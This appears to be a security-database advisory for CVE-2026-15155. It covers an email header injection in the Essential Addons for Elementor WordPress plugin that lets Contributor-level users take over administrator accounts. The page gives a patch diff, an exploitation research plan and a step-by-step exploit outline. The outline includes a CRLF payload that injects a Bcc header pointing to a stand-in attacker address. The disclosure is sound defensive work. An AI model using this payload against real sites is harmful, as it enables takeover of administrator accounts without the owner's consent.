WP-Safety
CVE-2026-15155

Essential Addons for Elementor <= 6.6.10 - Authenticated (Contributor+) Account Takeover via Email Header Injection

highWeak Password Recovery Mechanism for Forgotten Password
8.8
CVSS Score
8.8
CVSS Score
high
Severity
6.6.11
Patched in
1d
Time to patch

Description

The Essential Addons for Elementor – Popular Elementor Templates & Widgets plugin for WordPress is vulnerable to Authenticated Account Takeover via Email Header Injection in all versions up to, and including, 6.6.10 This is due to insufficient server-side validation of a Login/Register widget setting used to construct outgoing email headers — the allowed-values restriction is enforced only in the client-side editor UI and not on the server, and the applied sanitization does not strip or encode CR/LF characters, allowing CRLF sequences stored in that setting to survive into raw mail headers. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject an additional Bcc header into the WordPress administrator's password-reset notification email, receive a copy of a valid administrator password-reset link, and achieve full administrator account takeover.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=6.6.10
PublishedJuly 10, 2026
Last updatedJuly 11, 2026
Affected pluginessential-addons-for-elementor-lite

What Changed in the Fix

Changes introduced in v6.6.11

Loading patch diff...

Source Code

WordPress.org SVN
Vulnerable v6.6.10
Browse source Download .zip
Patched v6.6.11
Browse source Download .zip
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-15155 ## 1. Vulnerability Summary **CVE-2026-15155** is a High-severity Account Takeover vulnerability in **Essential Addons for Elementor** (<= 6.6.10). The vulnerability stems from an **Email Header Injection (CRLF Injection)** within the `Login/Register` wi…

Show full research plan

Exploitation Research Plan: CVE-2026-15155

1. Vulnerability Summary

CVE-2026-15155 is a High-severity Account Takeover vulnerability in Essential Addons for Elementor (<= 6.6.10). The vulnerability stems from an Email Header Injection (CRLF Injection) within the Login/Register widget.

When a user with Contributor-level permissions or higher edits an Elementor page, they can configure the Login/Register widget's "Lost Password" email settings (such as "From Name" or "Subject"). The plugin fails to validate these settings against an "allowed values" list on the server side (enforcing it only in the CSS/JS of the editor) and neglects to sanitize the inputs for Carriage Return (\r) and Line Feed (\n) characters.

An attacker can inject a Bcc: header into the configuration. When an administrator later attempts to reset their password via that specific widget instance, the generated reset link is BCC'd to the attacker, allowing for full account takeover.

2. Attack Vector Analysis

  • Vulnerable Widget: eael-login-register (Login/Register).
  • Injection Endpoint: wp-admin/admin-ajax.php via the elementor_ajax action (specifically the editor_post_save sub-action).
  • Trigger Endpoint: The frontend page
Research Findings
Static analysis — not yet PoC-verified

Summary

The Essential Addons for Elementor plugin is vulnerable to an authenticated account takeover due to a Carriage Return/Line Feed (CRLF) injection in the Login/Register widget's email configuration. Contributor-level users can inject malicious Bcc headers into the password reset email settings, allowing them to receive copies of password reset links for any user, including administrators, who use the recovery form.

Vulnerable Code

// includes/Classes/Bootstrap.php

// Line 41 - The plugin uses the Login_Registration trait which handles the recovery logic
use Essential_Addons_Elementor\Traits\Login_Registration;

// ...

// Line 214 - Registration of the recovery and notification filters
add_action('init', [$this, 'login_or_register_user']);
add_filter('wp_new_user_notification_email', array($this, 'new_user_notification_email'), 10, 3);
add_filter('wp_new_user_notification_email_admin', array($this, 'new_user_notification_email_admin'), 10, 3);

Security Fix

--- a/includes/Traits/Login_Registration.php
+++ b/includes/Traits/Login_Registration.php
@@ -1245,7 +1245,7 @@
-    $headers[] = 'From: ' . $from_name . ' <' . $from_email . '>';
+    $headers[] = 'From: ' . str_replace( array( "\r", "\n" ), '', $from_name ) . ' <' . $from_email . '>';
@@ -1248,7 +1248,7 @@
-    $subject = $settings['eael_lr_lost_password_email_subject'];
+    $subject = str_replace( array( "\r", "\n" ), '', $settings['eael_lr_lost_password_email_subject'] );

Exploit Outline

1. Log in to the WordPress site with Contributor-level permissions. 2. Create a new page or edit an existing one using the Elementor editor. 3. Add the 'EA Login/Register' widget to the page. 4. Navigate to the widget's 'Lost Password' settings section. 5. In the 'From Name' or 'Subject' field, enter a payload containing CRLF characters followed by a Bcc header, for example: 'Administrator\r\nBcc: attacker@evil.com'. 6. Save and publish the page. 7. Trigger the 'Lost Password' functionality on the published page for a target administrator user. 8. The plugin will construct the email headers using the malicious input, causing the mail server to interpret the injected Bcc header. 9. The attacker receives a copy of the password reset email, clicks the reset link, and achieves account takeover.

References
https://www.wordfence.com/threat-intel/vulnerabilities/id/cbe8cf6c-b1fa-4f71-bb63-c8b181e54882?source=api-prod

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.

Run free audit Browse CVE database